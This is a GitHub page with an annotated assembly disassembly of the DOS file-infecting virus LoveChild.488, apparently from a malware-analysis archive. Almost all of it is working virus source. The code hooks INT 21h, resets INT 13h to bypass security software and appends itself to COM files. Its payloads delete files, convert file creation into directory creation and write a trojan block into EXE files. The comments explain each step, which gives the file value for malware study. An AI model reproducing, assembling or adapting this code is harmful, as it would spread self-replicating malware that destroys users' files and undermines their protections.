-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathVirus.DOS.LoveChild.488.asm
299 lines (246 loc) · 11.3 KB
/
Virus.DOS.LoveChild.488.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
; Disassembly of `Virus.DOS.LoveChild.488`
;
; Source: COM file (MD5: 8d762199b232b20a7df0d1bec09b656c)
; ================================================================================
org 100h
k_virus_memory_location: equ 4 * 78h ; resides in the interrupt table, starting from int 78h!!
k_virus_infection_marker: equ 0FBh ; STI, at the beginning of the file
k_system_clock_addr: equ 046Ch
; HOST ===========================================================================
host:
sti
jmp virus_entry_point
mov ah, 2 ; Print char in DL
mov dl, 7
int 21h
int 20h ; Exit
times 0D4h db 0
; VIRUS ==========================================================================
virus_start:
db 'v2 (c) Flu Systems (R)'
virus_entry_point:
xor ax, ax
mov es, ax
call compute_bp
compute_bp:
pop si
mov bp, si
mov di, k_virus_memory_location
cld
cmp word [es:di], 'v2' ; uses the string as memory check
jz short return_to_host
sub si, compute_bp - virus_start ; db 81h, 0EEh, 1Dh, 0 : inefficient version
nop
mov cx, virus_body_end - virus_start ; see last instruction: skips the 0 (word)
rep movsb
mov ah, 30h
int 21h ; Get DOS version
cmp ax, 1E03h ; 3.30?
jnz short dos_generic_int21_hijack
int13_reset_for_dos_330:
mov si, 70h ; At 0070:00B4h, DOS 3.30 holds the original INT 13h
mov ds, si ; address; the virus resets the current address stored
mov si, 0B4h ; in the interrupt table, so that if any security software
mov di, 4 * 13h ; was hooked, it is effectively disabled.
movsw
movsw
dos_330_int21_hijack:
mov ax, 1203h
int 2Fh ; Return: DS = segment of IBMDOS.COM/MSDOS.SYS
mov word [es: k_virus_memory_location + virus_body_end - virus_start], ds
mov si, 1460h ; DOS 3.30 stores here the INT 21h address
mov byte [si], 0EAh ; JMP FAR
mov word [si+3], es ; 0
mov word [si+1], k_virus_memory_location + int21_handler - virus_start
jmp short return_to_host
dos_generic_int21_hijack:
push es
pop ds
mov si, 4*21h
movsw
movsw
mov word [si-2], es
mov word [si-4], k_virus_memory_location + int21_handler - virus_start
return_to_host:
mov ax, cs
mov es, ax
mov ds, ax
mov di, 100h
mov si, bp
add si, host_header - compute_bp ; db 81h, 0C6h, 6Eh, 0 : inefficient version
nop
movsw
movsw
xor ax, ax
sub di, 4
jmp di
; --------------------------------------------------------------------------------
host_header:
times 4 db 90h
new_header:
sti ; infection marker
jmp word $+3
header_virus_jmp_address: equ $ - 2
; --------------------------------------------------------------------------------
int24_handler:
mov al, 3
iret
; --------------------------------------------------------------------------------
trojan:
times 23 db 90h ; destructive code
; --------------------------------------------------------------------------------
db 'LoveChild in reward for software sealing.'
payload_2:
test byte [cs:k_system_clock_addr], 7
jnz short reset_counter_and_return_to_int21
pop ds
pop dx
pop cx
pop bx
pop ax
mov ah, 41h ; delete file instead!
jmp execute_original_int_21
; --------------------------------------------------------------------------------
reset_counter_and_return_to_int21:
jmp reset_counter ; and exit to int 21
; --------------------------------------------------------------------------------
v_payload_counter: dw 1388h
int21_handler:
dec word [cs:v_payload_counter]
js short payload_1
jmp execute_original_int_21
; --------------------------------------------------------------------------------
payload_1:
inc word [cs:v_payload_counter] ; reset to 0
cmp ah, 40h ; write?
jnz short evaluate_infection_B
push di
mov di, dx
cmp word [di], 'MZ' ; EXE file?
jnz short evaluate_infection_A
test byte [cs:k_system_clock_addr], 6
jnz short evaluate_infection_A
push ds
push cs
pop ds
push dx
write_trojan:
mov dx, k_virus_memory_location + trojan - virus_start ; since AH = 40h (write), this will write the trojan
mov cx, 40h
int 21h
return_from_interrupt_call:
pop dx
pop ds
pop di
retf 2
; --------------------------------------------------------------------------------
evaluate_infection_A:
pop di
evaluate_infection_B:
cmp ah, 3Ch ; create file?
jnz short evaluate_infection_C
test byte [cs:k_system_clock_addr], 31h
jnz short evaluate_infection_C
payload_3:
mov ah, 39h ; convert create file to create directory (!)
evaluate_infection_C:
cmp ah, 4Bh ; execute?
jz short handle_int24
cmp ah, 3Dh ; read?
jz short handle_int24
cmp ah, 56h ; rename?
jz short handle_int24
jmp execute_original_int_21
; --------------------------------------------------------------------------------
handle_int24:
push ax
push bx
push cx
push dx
push ds
push ax
xor dx, dx
mov ds, dx
mov dx, k_virus_memory_location + int24_handler - virus_start
mov ax, 2524h ; Set Int 24h handler
int 21h
pop ax
pop ds
pop dx
check_file_extension:
push dx
push ds
push es
push di
mov di, dx
push ds
pop es
xor al, al ; find the filename end
mov cx, 41h ; up to the first 41h letters
repne scasb
mov ax, [di-3] ; point to last two letters of extension
or ax, 2020h ; lower case
cmp ax, 'om'
pop di
pop es
jz short load_file_header
jmp near payload_2
load_file_header:
mov word [cs:v_payload_counter], 1388h ; reset the counter
mov ax, 3D02h ; open file for r/w
int 21h
push cs
pop ds
push ax
mov bx, ax
mov ah, 3Fh ; read
mov cx, 4
mov dx, k_virus_memory_location + host_header - virus_start
int 21h
cmp byte [cs:host_header], k_virus_infection_marker
jz short exit_from_infection
mov ax, 4202h ; seek to the end of the file
pop bx
push bx
xor cx, cx
mov dx, cx
int 21h ; returns DX:AX = new file position
; prepare the jump to virus entry point. the jump location must take into account, besides the
; string at the virus begin, one byte of marker, and other three bytes of the jump instruction
; itself (E9 0000 = JMP $+3), therefore we add 16h, and subtrace 1 and 3.
add ax, virus_entry_point - virus_start - 1 - 3
mov word [cs:header_virus_jmp_address], ax
mov dx, k_virus_memory_location
mov cx, virus_body_end - virus_start
pop bx
push bx
mov ah, 40h ; append virus
int 21h
jb short exit_from_infection
mov ax, 4200h ; seek to the beginning of the file
pop bx
push bx
xor cx, cx
mov dx, cx
int 21h
mov dx, k_virus_memory_location + new_header - virus_start
mov cx, 4
pop bx
push bx
mov ah, 40h ; write header
int 21h
exit_from_infection:
pop bx
mov ah, 3Eh ; close file
int 21h
reset_counter:
mov word [cs:v_payload_counter], 0FFFFh
prepare_for_int21_return:
pop ds
pop dx
pop cx
pop bx
pop ax
execute_original_int_21:
jmp 0:1467h
virus_body_end: equ $ - 2 ; the last 2 bytes are not copied, but used.